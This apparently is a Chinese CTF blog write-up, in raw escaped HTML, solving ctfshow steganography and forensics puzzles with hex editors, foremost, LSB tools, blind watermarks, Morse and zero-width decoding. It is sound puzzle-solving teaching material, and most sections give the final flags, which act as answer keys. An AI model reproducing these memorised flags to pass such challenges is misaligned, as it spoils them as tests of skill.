src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"778\" height=\"414\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-42.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1810\"  sizes=\"auto, (max-width: 778px) 100vw, 778px\" \/><\/div><\/figure>\n\n\n\n<p>\u9690\u85cf\u4e86\u4e00\u4e2a\u538b\u7f29\u5305<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-43.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"724\" height=\"569\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-43.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1811\"  sizes=\"auto, (max-width: 724px) 100vw, 724px\" \/><\/div><\/figure>\n\n\n\n<p>save bin\u51fa\u6765\u89e3\u538b\u5c31\u662fflag\u4e86<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">misc56<\/h2>\n\n\n\n<p>R4\u3001R2\u3001R1\u3001G4\u3001G2\u3001G1\u901a\u9053\u5747\u6709\u9690\u5199\u75d5\u8ff9\uff0c\u9009\u8fd9\u51e0\u4e2a\u5373\u53ef<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-44.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"723\" height=\"570\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/05\/1-44.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1812\"  sizes=\"auto, (max-width: 723px) 100vw, 723px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u539f\u8c05\u676f<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u6765\u4efd\u8272\u56fe<\/h3>\n\n\n\n<p>\u4e0d\u60f3\u5199wp\u4e86\u634f\/(\u3112o\u3112)\/~~<\/p>\n\n\n\n<p>\u5bf9setu\u8fdb\u884c\u5982\u4e0b\u64cd\u4f5c\u7136\u540e\u4fdd\u5b58\u4e3a1.bin\uff0c\u7136\u540e\u6539\u540e\u7f00\u540d\u53d8\u4e3a1.png<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/\u56fe\u7247.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"721\" height=\"567\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/\u56fe\u7247.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-746\"  sizes=\"auto, (max-width: 721px) 100vw, 721px\" \/><\/div><\/figure>\n\n\n\n<p>\u5bf9setu\u7528foremost\u5206\u51fa\u4e00\u5f20\u56fe\u7247\uff0c\u540c\u4e0a\u64cd\u4f5c\uff0c\u6700\u540e\u5bf9\u4e24\u5f20\u56fe\u7247\u76f2\u6c34\u5370\u5373\u53ef<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u4e03\u5915\u676f<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u6742\u9879\u7b7e\u5230<\/h3>\n\n\n\n<p>010editor\u6253\u5f00\u56fe\u7247\u62d6\u5230\u6700\u540e\u5c31\u627e\u5230flag\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ctfshow{misc_sign_is_easy}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u4f60\u4f1alsb\u5417<\/h3>\n\n\n\n<p>\u628a\u9644\u4ef6\u62d6\u8fdb010editor\uff0c\u4f1a\u53d1\u73b0\u5b83\u91cc\u9762\u4e00\u5806KP\uff0c\u4e00\u770b\u5c31\u662fzip\u7684PK\u5012\u5e8f\u4e86\uff0c\u5199\u4e00\u4e2a\u811a\u672c\u7f6e\u6362\u4e00\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>f = open('zip', 'rb').read()\nres = open('1.zip', 'wb')\nres.write(f&#91;::-1])<\/code><\/pre>\n\n\n\n<p>\u628a1.zip\u89e3\u538b\u4e00\u4e0b\u5f97\u5230\u4e00\u5f20\u56fe\u7247<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-16.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"822\" height=\"344\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-16.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1253\"  sizes=\"auto, (max-width: 822px) 100vw, 822px\" \/><\/div><\/figure>\n\n\n\n<p>\u6709\u4e00\u4e2actfshow\uff0c\u53ef\u80fd\u662f\u4ec0\u4e48\u5bc6\u7801\uff0clsb\uff0c\u518d\u52a0\u4e0a\u7ed9\u4e86\u5bc6\u7801\uff0c\u53ef\u4ee5\u8054\u60f3\u5230\u7528cloacked-pixel\u5bf9\u56fe\u7247\u8fdb\u884c\u89e3\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python2 lsb.py extract stego.png 1.txt ctfshow<\/code><\/pre>\n\n\n\n<p>\u5475\u5475\uff0c\u8fd9\u4e2a\u5de5\u5177\u5f97\u5728python2\u7528\uff0c\u5b89\u88c5\u5e93\u90fd\u5b89\u4e86\u4e00\u4e2a\u5c0f\u65f6\uff0c\u63a8\u8350\u4e00\u4e2a\u6587\u7ae0\uff1a<a href=\"https:\/\/blog.csdn.net\/huayimy\/article\/details\/128338899\">Kali Python2.7\u5b89\u88c5pip2\u548c\u6a21\u5757\u65b9\u6cd5<\/a><\/p>\n\n\n\n<p>\u89e3\u51fa\u6765\u4e00\u4e2a\u6587\u672c\uff0c\u91cc\u9762\u662femoji-aes\u52a0\u5bc6\u7684\uff0c\u7528https:\/\/aghorler.github.io\/emoji-aes\/\u89e3\u5bc6\u5373\u53ef\uff0c\u5bc6\u7801\u8fd8\u662fctfshow\uff0crotation\u90092<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-17-1024x413.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"413\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-17-1024x413.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1254\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ctfshow{D0u_Y0u_7now_em0js-AES}<\/code><\/pre>\n\n\n\n<p>\u603b\u7ed3\u4e0bemoji\u7684\u8003\u70b9\uff1aemoji\u7f16\u7801(<a href=\"https:\/\/ctf.bugku.com\/tool\/base100\">base100<\/a>)\uff0c<a href=\"https:\/\/aghorler.github.io\/emoji-aes\/#\" target=\"_blank\" rel=\"noreferrer noopener\">emoji-aes<\/a>\uff0c<a href=\"https:\/\/txtmoji.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">emoji2text<\/a>\uff0c\u5176\u4e2d\u540e\u4e24\u4e2a\u9700\u8981\u5bc6\u7801\uff0c\u8fd8\u6709\u4e2aCloakify\uff0c\u53ef\u4ee5\u7528Cloakify-Powershell\u628aemoji\u8f6c\u4e3a\u6587\u4ef6\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u83dc\u72d7\u676f<\/h1>\n\n\n\n<p><h2 class=\"wp-block-heading\">\u6742\u9879\u7b7e\u5230<\/h2><p>\u7528010editor\u6253\u5f00\u4e09\u54c8\u7684\u56fe\u7247\uff0c\u76f4\u63a5\u641c\u7d22ctfshow\u5c31\u62ff\u5230flag\u4e86<\/p><h2 class=\"wp-block-heading\">\u635f\u574f\u7684\u538b\u7f29\u5305<\/h2><p>foremost\u5206\u79bb\u51fa\u56fe\u7247<\/p><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-49.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"516\" height=\"474\" class=\"wp-image-625\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-49.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 516px) 100vw, 516px\" \/><\/div><\/figure><h2 class=\"wp-block-heading\">\u8c1c\u4e4b\u6805\u680f<\/h2><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-66-1024x632.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"632\" class=\"wp-image-659\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-66-1024x632.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><p>cfhwfaab2cb4af5a5820}<\/p><p>tso{06071f997b5bdd1a<\/p><p>\u4e24\u4e2a\u62fc\u8d77\u6765\u5c31\u662fflag\u4e86<\/p><p><code>ctfshow{f0a6a0b721cfb949a7fb55ab5d8d210a}<\/code><\/p><h2 class=\"wp-block-heading\">\u4f60\u4f1a\u6570\u6570\u5417<\/h2><p>\u4e00\u773c\u8bcd\u9891\u5206\u6790<\/p><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-65.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"987\" height=\"653\" class=\"wp-image-658\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-65.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 987px) 100vw, 987px\" \/><\/div><\/figure><p>ctfshow{a1b2d3e4g56i7j8k9l0}<\/p><h2 class=\"wp-block-heading\">\u4f60\u4f1a\u5f02\u6216\u5417<\/h2><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/\u5c4f\u5e55\u622a\u56fe-2022-12-16-190416-1024x598.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"598\" class=\"wp-image-654\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/\u5c4f\u5e55\u622a\u56fe-2022-12-16-190416-1024x598.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-64.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"466\" height=\"348\" class=\"wp-image-656\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-64.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 466px) 100vw, 466px\" \/><\/div><\/figure><p>\u5f02\u6216\u540e\u5f97\u5230\u56fe\uff0c\u56fe\u4e0a\u6709flag<\/p><h2 class=\"wp-block-heading\">flag\u4e00\u5206\u4e3a\u4e8c<\/h2><p>\u7528foremost\u5206\u79bb\u540e\uff0c\u56fe\u7247\u5728Linux\u4e2d\u6253\u4e0d\u5f00\uff0c\u8bf4\u662fCRC\u7684\u95ee\u9898\uff0c\u90a3\u663e\u7136\u5c31\u5f97\u6539\u9ad8\u5ea6\u4e86,<\/p><p>\u8fd0\u884c\u6a21\u677f\uff0c\u6539\u9ad8\u5ea6(\u4e4b\u524d\u91cd\u5e86\u5927\u5b66\u751f\u90a3\u4e2a\u9898\u6709\u8fc7\u6559\u7a0b\uff0c\u611f\u89c9\u4ed6\u4eec\u9898\u5dee\u4e0d\u591a)<\/p><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-56.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"846\" height=\"703\" class=\"wp-image-637\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-56.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 846px) 100vw, 846px\" \/><\/div><\/figure><p>\u7136\u540e\u5c31\u770b\u5f97\u5230\u4e00\u90e8\u5206flag\uff0c\u4f46\u8fd8\u6709\u4e00\u90e8\u5206\uff1a<\/p><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-57-1024x515.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"515\" class=\"wp-image-638\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-57-1024x515.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><p>\u5df2\u77e5\u6539\u56fe\u7247\u6ca1\u6709\u9644\u4ef6\uff0c\u6240\u4ee5\u53e6\u4e00\u90e8\u5206flag\u80af\u5b9a\u4e5f\u5728\u8fd9\u5f20\u56fe\u91cc\uff0c\u5728\u54ea\u513f\u5462\uff1f\u76f4\u63a5\u8054\u60f3\u5230\u76f2\u6c34\u5370\u4e86\uff0c\u91cd\u90ae\u529e\u6bd4\u8d5b\u7684\u9898\u4e0d\u4f1a\u5077\u7684\u8fd9\u4e2a\u6bd4\u8d5b\u5427\ud83d\ude13<\/p><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-58-1024x627.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"627\" class=\"wp-image-639\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-58-1024x627.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><p>\u6240\u4ee5flag\u5c31\u662f\uff1actfshow{FirstP@RTSecondP@rTMikumiku~}<\/p><h2 class=\"wp-block-heading\">You and me<\/h2><p>\u4e0b\u8f7d\u9644\u4ef6\u5f97\u5230\u4e24\u5f20\u56fe\u7247\uff0c\u4e00\u770b\u5c31\u662f\u76f2\u6c34\u5370\u4e86\uff0c\u4e4b\u524d\u4e5f\u590d\u73b0\u4e5f\u63d0\u5230\u8fc7\u4e86\uff0c\u96be\u7ef7\uff0c\u91cd\u5e86\u5927\u5b66\u751f\u7ade\u8d5b\u4e4b\u524d\u9047\u5230\u4e86\u5c31\u597d\u4e86<\/p><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-59.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"946\" height=\"693\" class=\"wp-image-641\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-59.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 946px) 100vw, 946px\" \/><\/div><\/figure><h2 class=\"wp-block-heading\">\u9ed1\u4e1d\u767d\u4e1d\u8fd8\u6709\u4ec0\u4e48\u4e1d\uff1f<\/h2><p>\u9ed1\u4e1d\u4e3a 1 \u767d\u4e1d\u4e3a 0 \u8f6c\u573a\u52a8\u753b\u4e3a\u5206\u5272\u6807\u5fd7\uff0c\u7136\u540e\u9898\u76ee\u63d0\u793a\u4e86\u662f\u83ab\u65af\u5bc6\u7801\u561b\uff1a<\/p><pre class=\"wp-block-code\"><code>011 00001 10 1 1 11111 1000 000 11 11 111 010 0 1010 001 1 0<\/code><\/pre><p>\u89e3\u4e00\u4e0b\u5c31\u884c\u4e86\uff1actfshow{W4NTT0B3MORECUTE}<\/p><h2 class=\"wp-block-heading\">\u6211\u5410\u4e86\u4f60\u968f\u610f<\/h2><p><a href=\"http:\/\/330k.github.io\/misc_tools\/unicode_steganography.html\">\u96f6\u5bbd\u5ea6\u9690\u5199<\/a><\/p><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-60-1024x299.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"299\" class=\"wp-image-644\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-60-1024x299.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><p>ctfshow{OP_is_for_Over_Power}<\/p><h2 class=\"wp-block-heading\">\u8fd9\u662f\u4e2a\u4ec0\u4e48\u6587\u4ef6\uff1f<\/h2><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-61.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"995\" height=\"254\" class=\"wp-image-645\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-61.png\" 